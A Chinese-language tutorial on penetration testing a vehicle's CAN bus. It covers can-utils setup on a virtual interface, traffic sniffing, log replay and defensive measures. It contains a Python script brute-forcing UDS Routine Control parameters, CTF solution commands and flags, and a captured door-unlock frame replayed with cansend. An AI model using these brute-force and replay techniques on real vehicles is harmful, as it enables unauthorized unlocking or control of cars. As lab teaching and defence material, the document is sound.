车联网安全之渗透实战 —— CAN 总线及协议:能读懂车内语言
字数 1582
更新时间 2026-01-31 12:08:40

车联网安全渗透实战:CAN总线协议深度解析与实操指南

1. CAN总线基础概念

1.1 CAN总线概述

CAN(Controller Area Network)是一种多主、广播式、基于仲裁的总线系统,广泛应用于汽车电子控制系统。与以太网/TCP-IP的关键区别如下:

对比项 CAN 以太网/IP
通信模式 广播(Broadcast) 点对点
地址 无MAC/IP
认证 有(TLS/Session)
加密 可选
冲突处理 硬件仲裁 碰撞/重传
实时性 强实时 尽力而为

1.2 CAN帧结构

标准CAN帧(Classic CAN)结构:

+---------+--------+-----+---------+------+
| CAN ID  |  DLC   | RTR |  DATA   | CRC  |
+---------+--------+-----+---------+------+
  11 bit   0~8 B              <= 8 B

在can-utils中的显示格式:

vcan0 19B [8] 00 00 0E 00 00 00 00 00

或简化格式:

19B#00000E000000

1.3 CAN ID的重要性

  • ID不是"源地址/目的地址",而是"优先级+语义"
  • 仲裁规则:ID数值越小,优先级越高
  • 关键系统(刹车、转向)ID通常较小,娱乐系统ID较大

2. 环境搭建与工具配置

2.1 工具安装

# Ubuntu/Debian系统
sudo apt update
sudo apt install -y can-utils python3-pip
pip3 install python-can

2.2 虚拟CAN网卡创建

# 加载vcan模块
sudo modprobe vcan

# 创建虚拟CAN接口
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

# 验证创建成功
ip -details link show vcan0

2.3 常见问题解决

如缺少vcan模块:

sudo apt install linux-headers-$(uname -r) linux-source

3. CAN流量分析与信号识别

3.1 基础抓包操作

# 实时查看CAN流量(带时间戳)
candump -tz vcan0

# 保存日志文件
candump -l vcan0                    # 自动命名
candump -f normal.log vcan0         # 自定义命名
candump -L vcan0 > out.log          # stdout输出

3.2 流量生成与模拟

# 生成随机CAN流量(模拟ECU广播)
candump -tz vcan0
cangen vcan0 -g 10 -L 8 -v          # 每10ms发一帧,DLC=8

3.3 信号分析工具使用

3.3.1 cansniffer分析

cansniffer vcan0

功能:突出显示变化字节,便于信号定位

3.3.2 计数器信号模拟

# 模拟ECU心跳计数
while true; do
  for i in $(seq 0 255); do
    printf -v b "%02X" $i
    cansend vcan0 123#${b}00000000000000
    sleep 0.05
  done
done

4. 实战案例解析

4.1 Routine Control挑战案例

场景:通过诊断服务执行预定义步骤序列

服务信息

  • 服务ID:0x31(Routine Control)
  • 子功能:开始(01)、停止(02)、获取结果(03)

攻击脚本

import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')

for i in range(0,0xFF):
    for j in range(0,0xFF):
        message = can.Message(
            arbitration_id=0x7E0, 
            is_extended_id=False, 
            dlc=8, 
            data=[0x04, 0x31, 0x01, i, j, 0x00, 0x00, 0x00]
        )
        bus.send(message, timeout=0.2)
        msg = bus.recv()
        result = binascii.hexlify(msg.data).decode('utf-8')
        if result != "037f3131":
            print("i: ",hex(i)," j: ",hex(j))

bus.shutdown()

成功利用

cansend vcan0 7E0#0431011337000000 && \
cansend vcan0 7E0#0431031337000000 && \
cansend vcan0 7E0#3000000000000000

获得flag:bh{c0ntroll1ng_th3_r0ut1nes}

4.2 ASRG CTF CAP2挑战案例

目标:从CAN嗅探数据中找出被篡改的交通信号灯信号

分析步骤

  1. 使用Wireshark分析pcap文件
  2. 关注ID 157的数据帧(最可疑)
  3. 提取每个数据帧的最后一位bit
  4. 过滤虚假时间戳(0.000000)
  5. 成功提取隐藏flag:flag_05B2873A2FA21D297D3442FF

5. 日志记录与回放技术

5.1 日志记录方法

# 方法1:自动命名
candump -l vcan0

# 方法2:自定义文件名
candump -f normal_log vcan0

5.2 日志回放与分析

# 按原始时间间隔回放
canplayer -I candump-2026-01-20_*.log

# ID差异分析
cat normal_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > normal_ids.txt
cat door_unlock_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > unlock_ids.txt
diff normal_ids.txt unlock_ids.txt

5.3 信号确认与重放

# 确认特定控制消息
cat door_unlock_log | awk '{print $3}' | grep 19B# | uniq
# 输出:19B#00000E000000

# 重放验证
cansend vcan0 19B#00000E000000

6. 自动化分析工具

6.1 CAN日志分析脚本

#!/usr/bin/env python3
import re
import csv
from collections import defaultdict
from statistics import median

def parse_log(file_path):
    """解析candump日志文件"""
    frames = []
    pattern = re.compile(r'$([\d.]+)$\s+\S+\s+([0-9A-F]+)#([0-9A-F]*)')
    
    with open(file_path, 'r') as f:
        for line in f:
            match = pattern.match(line)
            if match:
                ts, can_id, data = match.groups()
                frames.append((float(ts), can_id, bytes.fromhex(data)))
    
    return frames

def analyze_frequency(frames):
    """分析ID频率"""
    freq = defaultdict(list)
    for ts, can_id, _ in frames:
        freq[can_id].append(ts)
    
    result = {}
    for can_id, timestamps in freq.items():
        if len(timestamps) > 1:
            intervals = [timestamps[i] - timestamps[i-1] for i in range(1, len(timestamps))]
            result[can_id] = 1 / median(intervals)
    
    return result

6.2 实时变化检测脚本

#!/usr/bin/env python3
import can
import time

def monitor_changes(channel="vcan0", target_id=None):
    """实时监控CAN总线变化"""
    bus = can.Bus(interface="socketcan", channel=channel)
    last_data = {}
    
    print(f"监控接口: {channel}")
    
    while True:
        msg = bus.recv(1)  # 1秒超时
        if msg is not None:
            if target_id is None or msg.arbitration_id == target_id:
                current_data = msg.data
                prev_data = last_data.get(msg.arbitration_id)
                
                if prev_data is not None and current_data != prev_data:
                    print(f"ID 0x{msg.arbitration_id:X} 数据变化")
                    for i, (curr, prev) in enumerate(zip(current_data, prev_data)):
                        if curr != prev:
                            print(f"  字节[{i}]: {prev:02X} -> {curr:02X}")
                
                last_data[msg.arbitration_id] = current_data

7. ISO-TP协议应用

7.1 ISO-TP基础

ISO 15765-2协议,用于在CAN总线上传输大于8字节的消息

7.2 实际操作示例

# 接收端
isotprecv -s 7e1 -d 7e9 -c vcan0

# 发送端
echo -n "Hello-ISO-TP-Over-CAN" | isotpsend -s 7e1 -d 7e9 -c vcan0

8. 防御与加固建议

8.1 安全风险点

  1. 无认证机制:CAN总线缺乏消息认证
  2. 无加密保护:数据明文传输
  3. 广播特性:所有节点接收所有消息

8.2 防护措施

  1. 网络分割:关键ECU使用独立CAN总线
  2. 网关过滤:在网关层实现消息过滤
  3. 入侵检测:基于异常检测的CAN IDS
  4. 安全协议:实现CAN总线认证加密(如CANAuth)

9. 参考资料

  1. can-utils工具集:https://github.com/linux-can/can-utils
  2. Linux内核CAN文档:https://www.kernel.org/doc/html/latest/networking/can.html
  3. python-can库文档:https://python-can.readthedocs.io/
  4. ICSim工具:https://github.com/zombieCraig/ICSim

本教学文档基于实际渗透测试经验,涵盖了CAN总线从基础概念到高级攻击技术的完整知识体系,适用于车联网安全研究和技术防御加固。

 全屏